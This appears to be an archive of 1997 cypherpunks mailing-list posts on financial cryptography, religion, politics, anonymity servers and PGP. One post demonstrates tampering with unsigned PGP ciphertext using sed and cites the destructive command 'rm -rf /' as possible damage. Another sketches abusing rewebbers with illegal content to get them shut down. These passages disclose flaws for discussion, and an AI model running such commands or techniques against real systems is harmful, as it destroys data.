the cost of carrying precious metals (gold, silver, platinum, palladium)
is so negligible that they can be treated as foreigh currencies with
interest rates. That's how most people treat them in practice.
(There are more exotic metals with little carrying costs, like
rubidium...)

Commodities like oil, gas, lumber, as well as baser metals (aluminium, copper)
have a cost of carry that must be figured in your model.

I suggest that if you want to model internet bandwidth as a commodity, you
must assume that it depreciates as it becomes less scare.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Date: Sun, 10 Aug 1997 13:38:24 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <33ED8713.EF5C078@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



You know you have made alot of assumptions about me that are neither
warranted nor given basis for existing from my posting. You are just as
guilty as I am on assumptions. So before *you* get all high and mighty,
figure out first if that is *actually* who I am. Don't use me as a
scapegoat that you can use to expound *your* particular beliefs about,
just as you take offense at some of the assumptions I made regarding
TruthMonger. I do not advocate anything but my own personal thoughts on
matters. Neither do I walk *any* party line. (In fact I am registered as
independant so that I am forced to be impartial on issues as I am then
not stuck with any one parties beliefs. This little flare of temper on
my part though does show me one thing at least. There are *many* here
that do just the same type of lumping as they accuse me of. Hmm, I
forgot. Everyone is perfect, therefore this post is not real and neither
are you as in a perfect world there would be no need for me to have this
discussion. In that case, I bid you an unreal goodnight.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sun, 10 Aug 1997 22:00:12 +0800
To: cypherpunks@toad.com
Subject: If contradiction could kill...  [Re: The BIG Lie (Jesus Confesse
In-Reply-To: <33ED8713.EF5C078@cyberspacetechnologies.com>
Message-ID: <199708101354.JAA11229@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 10 Aug 97 at 5:17, David D.W. Downey wrote:

> Neither do I walk *any* party line. (In fact I am registered as
> independant so that I am forced to be [...]

This sentence gave me good laughs!  Just a rhetorical question: *who* 
exactly _forces_  you ?

As an independent (of whatever plurality of entities), what prevents 
you to side with one of them?

JFA
If contradiction was killing  swiftly,  there would be no religions 
left....
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
  JFA Technologies, R&D physicists & engineers
  Instrumentation & control, LabView programming.
PGP keys: http://w3.citenet.net/users/jf_avon
     and: http://bs.mit.edu:8001/pks-toplev.html
PGP ID:C58ADD0D:529645E8205A8A5E F87CC86FAEFEF891 
PGP ID:5B51964D:152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 10 Aug 1997 22:10:45 +0800
To: cypherpunks@toad.com
Subject: Patient Snoop Law Coming
Message-ID: <1.5.4.32.19970810135329.0068a144@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



NYT reports today on a patient privacy law being sent
to Congress next month by the administration, the
"most significant since the Privacy Law of 1974."

Battles are expected over law-enforcement access
to medical data, interference with commercial marketing 
and limitation on snooping for public benefit.

   http://jya.com/patient.txt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "last deliverer" <ldeliverer@hotmail.com>
Date: Mon, 11 Aug 1997 02:07:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Using Hotmail as an exit remailer
Message-ID: <19970810175510.2691.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Looks like hotmail is double spacing the output.  Easily fixed, change

  $msg = &escapetext(join("\r\n", <STDIN>));
to
  $msg = &escapetext(join("", <STDIN>));


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Mon, 11 Aug 1997 02:38:45 +0800
To: jf_avon@citenet.net
Subject: Re: If contradiction could kill...  [Re: The BIG Lie (Jesus Confesse
In-Reply-To: <33ED8713.EF5C078@cyberspacetechnologies.com>
Message-ID: <3.0.2.32.19970810111937.03e0dcb0@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:52 AM 8/10/97 -0500, jf_avon@citenet.net wrote:
>
>On 10 Aug 97 at 5:17, David D.W. Downey wrote:
>
>> Neither do I walk *any* party line. (In fact I am registered as
>> independant so that I am forced to be [...]
>
>This sentence gave me good laughs!  Just a rhetorical question: *who* 
>exactly _forces_  you ?

"The problem with being an anarchist is there are so many rules.  You have
to hate the government, attend the meetings, and pay your dues every month."

David Downey is just a big bundle of contradictions.

I would just be happy if he would learn about paragraphs.



>
>As an independent (of whatever plurality of entities), what prevents 
>you to side with one of them?
>
>JFA
>If contradiction was killing  swiftly,  there would be no religions 
>left....
>-- 
>Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
>  JFA Technologies, R&D physicists & engineers
>  Instrumentation & control, LabView programming.
>PGP keys: http://w3.citenet.net/users/jf_avon
>     and: http://bs.mit.edu:8001/pks-toplev.html
>PGP ID:C58ADD0D:529645E8205A8A5E F87CC86FAEFEF891 
>PGP ID:5B51964D:152ACCBCD4A481B0 254011193237822C
>
---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 11 Aug 1997 01:01:39 +0800
To: cryptography@c2.net
Subject: e$: Carts, horses, other dromedaries, and the needle's eye of economics...
Message-ID: <v0311070fb0138f138158@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: rah@mail.shipwright.com
Mime-Version: 1.0
Date: Sun, 10 Aug 1997 11:05:54 -0400
To: e$@thumper.vmeng.com
From: Robert Hettinga <rah@shipwright.com>
Subject: e$: Carts, horses, other dromedaries, and the needle's eye of
 economics...
Sender: <e$@vmeng.com>
Precedence: Bulk
List-Software: LetterRip 2.0 by Fog City Software, Inc.
List-Unsubscribe: <mailto:requests@vmeng.com?subject=unsubscribe%20e$>
List-Subscribe: <mailto:requests@vmeng.com?subject=subscribe%20e$>

At 5:51 pm -0400 on 8/9/97, Somebody wrote:


> I couldn't imagine more depressing news.  The linking of
> internet + banking + fraud + organized-crime + offshore is precisely the kind
> of negative publicity which will set back e$ <...> horribly.  I
> desperately wanna cry "Say it ain't so, Joe!"  Oh, well.  We move on.  All
> the more reason to find some topflight Swiss, Belgian, Brit or German bankers
> to play.  But, this will make _them_ doubly shy, too.

Agreed, but this Russia/Antigua thing is *really* not a big deal.
Expatriation of assets is a completely orthogonal issue to the adoption of
digital commerce and financial cryptography.

That's because financial cryptography is about vastly improving the
financial system, and not at all about killing the nation state to save our
freedom.

(I knew I'd get your attention with that one... :-))

Personally, I believe that the use of strong financial cryptography is the
way that the internet will bring about the death of the nation-state, and
I'll be extremely happy when that happens, just like a lot of
industrialists rejoiced in the decline and fall of the aristocracy.

However, the nation state will adopt financial cryptography and digital
bearer settlement because it *has* to, economically, the same way that
aristocracy adopted industrialism of its own economic necessity, an act
which ushered in the nation-state and their own political demise. Like all
technological progress, strong financial cryptography should enable you to
do better transactions much cheaper. Technological progress cannot be
commanded or stopped with a political decision, as any student of the
Spanish inquisition, or Stalin, or Mao, will attest.


Clearly, politics may be why you try to invent things in the first place.
Diffie invented public key cryptography and Chaum invented blind signatures
for political reasons, obviously, but their technologies themselves are
value neutral. They're just facts, not political opinions. Remember what
happened to government mandated technologies of the past, like synthetic
fuel subsidies and the 'alternative' energy debacle -- or Lysenko.

Paradoxically, even though people may invent things because of their
politics, the unpredictablity of invention's outcome is such that it is in
fact science -- reality -- that creates politics, and not the other way
around. The political cart cannot be put before the economic and
technological horse.


So, at the risk of using a "utilitarian" argument ;-), discussions about
the "politics" -- even the constitutionality -- of technology is a waste of
time. This is particularly the case in discussions about the politics of
financial cryptography, and, I daresay, all cryptography. It's the
economics of the technology that matters, and since financial cryptography
is by its very definition an economic technology, appeals to politics are
even more irrelevant in discussing it. Cypherpunks knew this a long time
ago, by resisting attempts to herd them into some kind of political action
committee or another. "Cypherpunks write code", and all that.  Of course,
it doesn't keep us all from political kibbitzing -- or writing the
occasional screed. :-).

Just like any successful technology, if a politician gets in the way of
financial cryptography, economic progress should eventually make so much
money that it simply buys him out of the way. If it can't afford to to do
that, then financial cryptography on public networks won't be adopted.
Cynical it may be, it's still that simple.


So, to my mind, the whole question of going offshore is now pretty much
immaterial. We understand now how to do the trustee/boundry-layer work at
any institional trustee bank. We're pretty much at the stage where we can
walk right into the front door as a customer of giant institutional banks
like State Street, or Banker's Trust, or Morgan Guarantee -- or even the
Fed itself. Any bank who wants to hold reserve accounts in trust and to
handle the funds transfer work on behalf of digital bearer cash users on
the net, which any of these kinds of banks will do now already for clients
like investment banks and mutual funds. We understand things well enough
now to plug the net right into the existing financial system, on simple
terms that it understands completely, without any legal problems
whatsoever. And, because of this, we can also turn right around and do all
the things we want to do on the net completely legally: blind signatures,
anonymous transactions, and all. And, frankly, we'll be cheered by the
financial and business community when we do, because we'll probably reduce
the cost of cash transactions by 3 or 4 orders of magnitude, or more, not
to mention creating *profitable* transaction sizes, from picodollar to
teradollar, never before seen in the financial community.

That's because the reason for adopting blind signature technology is not
that you will pay extra to use anonymous bearer certificates, absolutely
not. It's that because of their very anonymity, which enables you to trust
someone who you can never know, digital bearer certificates will probably
be much cheaper to use than non-anonymous digital cash or book-entry
settlement methods, just like cash would be cheaper to handle if it weren't
physical.  Which is, of course, the point of blind signatures in the first
place.


So, if people who sell pornography, or have illegal businesses, want to get
their money onto the net under newer bearer certificate market models like
trustee/underwriter, they should be able to use their own banks to do so,
like everyone else would. All criminals of any real stature have banks who
know them and love having them as customers anyway.

In addition, people will figure out other non-bank ways to get money onto
the net if they want to, especially if there's something to do with it when
the money gets there. I expect that there will be lots of net.smurfs who
will continually find new and better ways to convert meatcash into digital
cash, and law enforcement will have to use the same methods they use now,
probably at the same success rates they now have, to stop that activity.

Frankly, there's no difference between all that and the status quo anyway,
so I really don't anticpate the market for forensic accountants to crash
anytime soon.

It doesn't matter anyway.


All of this concern for potential illegal uses of e$ is in fact peripheral
to the main chance, the central economic fact that strong financial
cryptography on geodesic public networks, anonymity and all, is going to
revolutionize finance and it thus *will* end up legal in its own right,
whether it is or not today in your particular jurisdiction. The potential
for criminal use of financial cryptography is simply noise compared to the
techtonic economic benefit derived from having a ubiquitous geodesic
economy, and frankly, most people in the central bank and economic strategy
business know this. Ironically, these denizens of large central
bureaucracies are turning into some of the biggest behind the scenes
cheerleaders of the technology of financial cryptography.

They understand that a nation state which makes the mistake of
criminalizing or even controlling financial cryptography (and thus any
strong cryptography at all) will go the way of all the nations which
ignored the very industrialism which made them the powers they are now.
Just like the inquisition killed Spain as a world power when it killed
science (and thus literacy) in the name of religeon, effectively exiling
it's entire intellegencia to Amsterdam and London and Geneva, so too will
any nation state kill itself if it ignores internet bearer settlement.
Except that the "country" the money goes to will not be someplace like
Antigua, but the very net itself, which is everywhere and nowhere, all at
once.



Fortunately, we don't even have waste our breath making that argument. We
just need to develop the technology on the critical path, which means that
our business as developers and sellers of financial cryptography products
is to create the ability for people to spend money on the net with as
little concern as possible for who they are, biometrically. The cheapest
way to do that right now is to use a certificate purchaser's existing bank
to authenticate them, coupled with some combination of back-channel, and
eventually internet-tunneled, automatic teller network and ACH/Fedwire
transactions, all of which gets meatspace money in and out of a trustee's
reserve account.

This will solve all our authentication issues and make the user's money
convertable into digital bearer certificates, all with no great mental
leaps from the banking -- or regulatory -- communities.  All the
underwriter sees is an authorization from the trustee to issue
certificates, and then anonymous certificate exchanges after that. All the
trustee sees is authorization and a promise from the purchaser's bank to
wire funds to cover what for all intents and purposes is an ATM withdrawl.
All the purchaser's bank sees is a request from an account holder
equivalent to an ATM withdrawl or deposit. All the buyers and sellers see
is money and goods. :-). Nobody knows who does what to whom, anymore than
they do with handling and accounting for cash in meatspace, and every's
happy. And, ironically, everyone's accountable enough to the regulatory
authorities for the time being.


If we let the existing banking system handle the authentication at the
meat/net boundry layer in this fashion, all the feared jurisdictional and
regulatory problems for digital cash and digital bearer certificate finance
are instantly defined out of existance.

Even FinCEN itself knows it can't police cyberspace if book entries are
economically impossible there. They also know that they can do their jobs
just fine for the time being by tracing money up to the net, and watching
for it to come out somewhere else. Detective work will never go out of
style.


Fortunately for cryptoanarchists everywhere, financial assets will someday
just stay on the net, because the net is where the information that feeds
markets for financial assets will be in the first place, just like
industrial assets ended up in cities because that's where the information
to manuplate them was. The millenium will have arrived.


To continue in the millenial vein, we can continue to render unto Caesar
all the financial information he can force out of us in meatspace, because
the "kingdom" of net is where all the real money will eventually be, and he
can never go there. To beat our aforementioned and, only-apparently-defunct
wagon-pulling dromedary anology with a rather large ironic stick, it will
be easier to get a camel through the eye of a needle than it will be
maintain a nation-state in a net economy.

Even more fun, economic necessity dictates that the camel, or whatever
other, say asinine, dromedary you have in mind, will have to build the
needle's eye the rest of us will walk through, or they'll go out of
business.

Cheers,
Bob



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/




---------------------------------------------------------------------
Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk
---------------------------------------------------------------------
Like e$? Help pay for it!  See <http://www.shipwright.com/beg.html>
Or, for e$/e$pam sponsorship, <mailto:rah@shipwright.com>
---------------------------------------------------------------------

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 11 Aug 1997 04:12:01 +0800
To: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Subject: Re: [Fwd: Virus Warning]]
In-Reply-To: <3.0.3.32.19970809051238.006d4908@pop.mhv.net>
Message-ID: <3.0.2.32.19970810125952.0068afac@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:23 AM 8/9/97 -0400, David D.W. Downey wrote:
>Lynne is most definitely correct. In order for a viral infection to take
>place, execution of the attached file first take place. Even malicious
>MS Word and likeminded word processing macros must inevitably execute a
>binary file. This message was forwarded to me via an ISP Viral Alert
>program. I apologize for not including the fact of program execution as
>being the actual infecting point. To all those familiar and  unfamiliar
>with the way virii operate, please accept my sincere apologies.

Well, now that you've got a clue, make sure you send mail back to the
people who sent you this hoax educating them, and asking them to
follow up to the people who scared them into sending it on.
That way you can all have some Good Times...



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 11 Aug 1997 04:33:40 +0800
To: cypherpunks@cyberpass.net
Subject: A peculiar notion
Message-ID: <v03102800b013d04c0f1b@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



For those who think that a convenient liberal interpretation of our
Constituton, a 'la Justice Brenan, is a relatively recent phenomenon, I
offer:
---------------


		Rethinking Lincoln and his peculiar notion

By Joseph Sobran

War usually isn't worth the price, even when you win. A new collection of
essays, "The Costs of War: America's Pyrrhic Victories," edited by John V.
Denson (published by Transaction), takes a new look at our wars without the
mythology that portrays them as not only worthwhile but gloriOUB. The
contributors to this stimulating collection agree that most of our wars
have had the ultimate effect of strengthening government at the expense of
liberty and the rule of law.

One of the most provocative essays in the volume is the historian Richard
Gamble's essay "Rethinking Lincoln." Today Lincoln is a demigod to nearly
everyone, with intellectual celebrants on both the Left (Gerry Wills) and
the Right (Harry V. Jaffa). We seldom ask whether he was justified in
making war on the seceding states.

Yet in his own time, this was the crucial queation. The Southern states
declared their independence in emulation of the original 13 Colonies, and
many Northerners recognized their right to do ao.

On what grounda did Lincoln deny that right? On grounds that these states
permitted slavery? No, because that would have invalidated the 1776
Declaration, which Lincoln, like most Americans, held sacred. Some other
reason had to be found.

So Lincoln chose to call secession "rebellion" and "insurrection" - an
uprising against the sovereign Union. He managed thus, Mr. Gamble points
out, by subtituting for the actual early history of the Union his own
version of the American founding." Lincoln offered the. peculiar notion
that the Union had somehow pre-existed the

Constition, the Articles of Conderation, and even the Declaration of
Independence, and that no state, therefore, could withdraw from it. The
Union is older than the states," Lincoln argued; "and, in fact, it created
them as states."

But, as Jefferson Davis, the Confederate president, pointed out, the
Constitution had been "a compact between independent states." The powers
given to the federal government had been "delegated," and whatever is
delegated can be withdrawn. In fact, several states had ratified the
Cosstitution on the express condition that they could reclaim the delegated
powers and secede at any time.

Since the right of secession had been stipulated without challenge in 1789,
either the states had retained it or their ratifications had been invalid.
Lincoln simply ignored this dilemma. His argument implied that the states
had had no choice but to ratify the Censtitution, since they belonged to a
Union from which there was no exit. "In Lincoln's mind," Mr. Gamble
observes, "the Union was not only perpetual, antecedent to the
Constitution, and the creator of the very states that now sought to leave,
it was also a spiritual entity, the mystical expression of a People."

A superb lawyer, logician and rhetorician, Lincoln must have known how
feeble his argument was. Before becoming president, he had several times
affirmed the right of any people, sufficiently numerous for national
independence, to throw off, to revolutionize, their existing form of
government, and to establish such other in its stead as they may choose."
This was sound Jeffersonian doctrine, and his later sophistical attempts to
wriggle out of it must have embarrassed him.

In his prosecution of the war against the Confederacy, he claimed, with
similar sophistry, powers that, under the Constitution, properly belonged
to Congress, including the powers to raise an army and navy and to suspend
habeas corpus. He just)fied himself on grounds that Congress would have
done these things had it been in session-which Mr. Gamble calls a peculiar
defense of his behavior that conceded his guilt."

By Lincoln's wartime logic, no state can ever have the right to secede, no
matter how flagrantly the Constition is violated by the federal government.
The Civil War, waged in the name of the Declaration actually resulted in
the practical abrogation of its principle that any just government must
have "the consent of the governed."

Lincoln insisted that he was violating parts of the Constitution only to
save the whole; but the war ultimately left the interpretation of the
Constitution at the mercy of the government it is supposed to restrain.

In short, the Constitution itself was a casualty of Lincoln's war. A
Pyrrhic victory indeed.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gary Howland <gary@hotlava.com>
Date: Sun, 10 Aug 1997 20:21:54 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: pgp -c undetectable change to ciphertext? (was Re: Hipped on PGP) [SYSTEMICS]
In-Reply-To: <199708091742.SAA02232@server.test.net>
Message-ID: <199708101208.FAA23504@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Ian Grigg <iang@systemics.com> writes:
> > [Gary Howland gives talk at HIP on technical PGP flaws, 0xDEADBEEF etc]
> >
> > And for the record, whilst Gary's attack to change conventionally
> > encrypted files without detection was unknown to the PGP team at the
> > moment, we can be sure that it will be addressed.

It's not just unconventionally encrypted files - any encrypted file
that is unsigned can be modified without detection.  I brought this
to everyones attention because far too many people assume that encryption
provides integrity.


> Hmm.  Change pgp -c files you say.  Lets see... do you mean this:
> 
> % echo hello world > junk
> % pgp -c +compress=off -zfred junk
> % sed 's/....$/adam/' < junk.pgp > junk2.pgp
> % pgp -zfred junk2.pgp
> % cat junk2
> hello woøP?t
> 
> That much is obvious.
> 
> (pgp doesn't complain or even notice the above btw ... there is no
> checksum and so you can just garble the file, if you so wish, and pgp
> won't complain).

Yes, this is part of the point I was making.


> Or did Gary find a way to undetectably modify ciphertext without
> turning off compression?

Of course it is easier to modify uncompressed files, but even compressed
files can be tampered with - it's just an awful lot harder.

 
> Could you or he elaborate on your attack?  

In addition to turning files to garbage, I was pointing out that files can
be truncated.  This could be very serious, if, say, you removed the second
of a pair of financial transactions, or perhaps removed the last line of
a security program, eg. if the last line of a script is "chmod -w filename"
and you can remove this line, then you may be in trouble.

As well as trashing files, and truncating them, it is also important
to remember that the last 8 bytes can be modified without detection
if the plaintext is known.  This could be very serious.  Think of
the damage that could be done in 8 bytes ( "rm -rf /").

I agree that these attacks are very unlikely to occur, but I just wanted
to bring it to everyone's attention.

 

> If you're using PGP with compress=on, then I suspect your chances of
> undetectably modifying the ciphertext and still coming up with
> something which is a valid compressed packet is fairly low.  I wonder
> how low.  

If the plaintext is known, I could come up with a change to the last 8 bytes
that would be valid (well, perhaps not - I don't know ZIP compression
too well).
 

Gary





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 11 Aug 1997 08:50:34 +0800
To: "David D.W. Downey" <admin@cyberspacetechnologies.com>
Subject: Re: A peculiar notion
In-Reply-To: <v03102800b013d04c0f1b@[10.0.2.15]>
Message-ID: <v03102808b0140e2f9927@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>Steve Schear wrote:
>
>> In short, the Constitution itself was a casualty of >Lincoln's war. A
>>Pyrrhic victory indeed.
>>
>	For the first time in a long time, I've read a post that actually make
>me seriously consider rethinking what I have been taught. I've studied
>quite a bit in regards to US law and the Consitution, (made necessary by
>my being Pro-PGP), and never looked in that direction. Your post adds a
>very different light to things.  I took the liberty of forwarding your
>post to a few of my old teachers, and they said that even they had not
>looked at history from that point. Thank you for the push.

Even more disheartening is the realization that the war probably wasn't
ncesassary to free the slaves, as the South was already in decline and
slaves were leaving (via the Underground Railroad) in record numbers.  Like
the West's 'victory' over communism, there's good reason to believe that
the South would have collapsed sooner than later due to its untenable
economic structure.  It seems the war substantially fought over economic,
idiological and egotistical reasons.  Big sigh...

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Sun, 10 Aug 1997 16:38:27 +0800
To: cypherpunks@toad.com
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <3.0.2.32.19970809155403.04096a20@ctrl-alt-del.com>
Message-ID: <Pine.SOL.3.91.970810180200.1769A-100000@hardy>
MIME-Version: 1.0
Content-Type: text/plain



> > The largest is Roman Catholic 
> 
> Which some Christian sects argue is not Christian.  (For an extreme view of
> this, read the tract "The Death Cookie" published by Jack T. Chick. It can
> be obtained from http://www.jackchick.com/ .)
> 

I'm inclined to agree with the RC's not being The same as prodestants 
comment. Why else would you have had Luther and the other reformers if 
some of catholicism wasn't a problem ??


> The founders of this country were of many different belief systems.  Many
> of them were hated and reviled by the clerics of their day.  Of course,
> evangelical Christians gloss over these facts in an effort to continue
> their ~2,000 years of enslavement of the minds of men.
> 

Is it worth noting at this point that an evangilical Christian and the 
religious right have little in common. Evangelicals (I'm one) belive the 
Bible to be the word of God etc.. but don't add anythign else to it and 
certianly wouldn't force thier beliefs down your throat. They would 

> 
> >Next, you attack christians for
> >trying to control the content made available on the internet. 
> 
> At last!  The plan exposed!  Damn right he attacks you!  But Christians get
> pretty touchy when faced with criticism of their agenda.  (Or mentioning
> that their beliefs are NOT the word of God, of exposing the flaws in
> Christianity, or having any view that conflicts with the "One True God(tm)".)
> 

I would also have a problem with Christians controlling and censoring the 
net. I would welcome (and do welcome) sites that which to argue against 
Christianity. What wrong with that ?? It simply provides a forum for 
Christians to defend thier beliefs. Besides if I censor you now because i 
find your content un acceptable whats to stop you censoring me later when 
your in the majority ! What utter stupidity to load the gun for others. 
Particularly as i am a Christian I WOULD be critical of some of the 
religious rights ideas and agendas and would happily argue from the Bible 
that they are not a good thing.


> In other words, you can claim it is voluntary and make it look like you are
> giving people a choice as you push your morality down their throats.  The
> Bible Beaters try to impose their views of what is right and wrong, but get
> pretty offended and huffy when others try and do the same thing.  (Like
> when they push School Prayer, but freak out when the pagans want the same
> options.)

I thought school pray was outlawed in the states ?? 

> 
> How would you react if the ratings groups were stacked with Athiests,
> Wiccans, Tantrics, and Jainists?  Would you be willing to accept their
> judgements on the acceptability of your beliefs and speech?
> 

Would they be willing to accpet my view on thiers ?? If yes then i'll 
accept thiers on mine


> >Besides, Oh Godlike TruthMonger, where is *your* surefire plan to halt
> >the spread of trash that *most* humans would want out of of the reach of
> >their children?

Such as ?? As has been said before you can get censorware to control 
thier access.


> Children need to be challenged by ideas that are different from their own.
> If they are not, then they grow up with ideas that they cannot
> intellectually defend.  They grow up intelecually squishy.

I must agree with that point

> I have known far too many Christians who never read anything that
> challenges their basic belief structure.  Nothing that could dare shake
> their faith in God and the Bible.  In their isolation, they are taught to
> believe ideas that have no rational defense.  (Like Biblical inerrancy and
> Creationism.)  When challenged, these outcasts from reason have to rely on
> the "moral authority" of their unseen God or other appeals to authority to
> try and defend their irrational beliefs.

Christians whould read challenging stuff. IT expands thier mind and 
strengthens thier beliefs (Well i find it does), and in my expirence a 
Christian who cant defend thier faith needs to learn more. Although i 
would disagree with dismissing creationism and Biblical inerrancey. (not 
that is is an appropriate forum for such a discussion)

Well intersting post. I hope the response is of some use.

Jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Date: Mon, 11 Aug 1997 04:38:11 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <33EE5A35.4ED3CFD0@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan wrote:
> 
> If you don't want to be treated like a fundie, don't act >like one.
> 
Whatever. So, evcen though I am not a fundie, I must say this in their
defense. So it's ok for you to bash the fundies, but not for them to
bash you. Hmm, who ever said turn-about is fair play must not have read
*your* rule book.

> Also...  There is a thing called "paragraphs".  Please >learn how to use them.  They will make you seem less like a >luser.
> 
Yes Mr. English teacher, sir. If how I write or type instead of the
content contained within shall be the basis of my losership, then there
is something wrong with the reader not the writer. (Besides, I use
Netscape under Linux 3.3 and there seems to be a problem with the
keyboard map. I've noticed it myself when I have read my own postbacks.
The message structure comes out differently than what I typed it in as.
It will take some time to track down the incorrect amappings. Please be
patient folks, and I will fix the  grammatical errors of my ways.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 11 Aug 1997 08:49:42 +0800
To: cypherpunks@toad.com
Subject: Test
Message-ID: <2ePFheC6zDNaMpugt5DBwA==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 11 Aug 1997 14:22:45 +0800
To: daw@cs.berkeley.edu
Subject: Re: TAZ & Rewebber servers
In-Reply-To: <199708091606.RAA00914@server.test.net>
Message-ID: <3.0.2.32.19970810230443.00779d84@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Ian Goldberg and Dave Wagner have a paper on an implementation of
>something related to Ross Anderson's paper at:
>
>	http://www.cs.berkeley.edu/~daw/cs268/

Comments: 
- Nice paper
- I think Lance Cottrell's name is spelled with two "t"s (Footnote 7).
- Also, the anonymizer is now at Infonex.com rather than C2.net.

- The mixture of rewebbers and TAZ servers is interesting;
you can either have http://ENCRYPTED_PATH.taz/document.html
or http://ENCRYPTED_PATH_AND_DOCUMENT_NAME as the URL,
providing different kinds of security.  The former makes it easier
to find stuff, since the documents can have meaningful names,
though //ENCRYPTED_PATH_AND_DOC// can point to //PATH1.TAZ/index.html 
which can point you to the encrypted URLs for document1.html,
document2.html, etc.

- You were awfully nice to the Onion Router folks; my take on their
smaller set of features vs. PipeNet is that they didn't think of  the
other attacks.  On the other hand, they were funded and working on a
project for their jobs, so they did do the work to finish and implement it,
which is of course a Good Thing.

- Elliptic curve flavors of public-key are probably valuable.
Nobody understands them well enough to explain to the non-math-wizard (:-),
but they do appear to use substantially shorter keys and outputs.

- Proxy caching is a mixed blessing.  While caching does increase the
difficulty of traffic analysis by reducing the number of requests that
chain through to the end server, it increases the ability of Bad Guys to
trace through the network using subpoenas, warrants, rubber hoses, or
basic system cracking, because it leaves a trail of cached documents.
Each system still has to be compromised to discover the next link in
the chain, but caching makes it easier to verify that a compromise
has been successful.

- While rewebbers are less likely to be spammed than remailers,
and less likely to annoy users, they're still annoying to the
Powers That Be.  The obvious attacks on the rewebber system are to
post Scientologist Child Porn WareZ on the well-known rewebbers, 
post announcements to Usenet about its availability, and
let the CoS and the Postal Inspectors go after them one by one.





#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Date: Mon, 11 Aug 1997 08:49:07 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: A peculiar notion
In-Reply-To: <v03102800b013d04c0f1b@[10.0.2.15]>
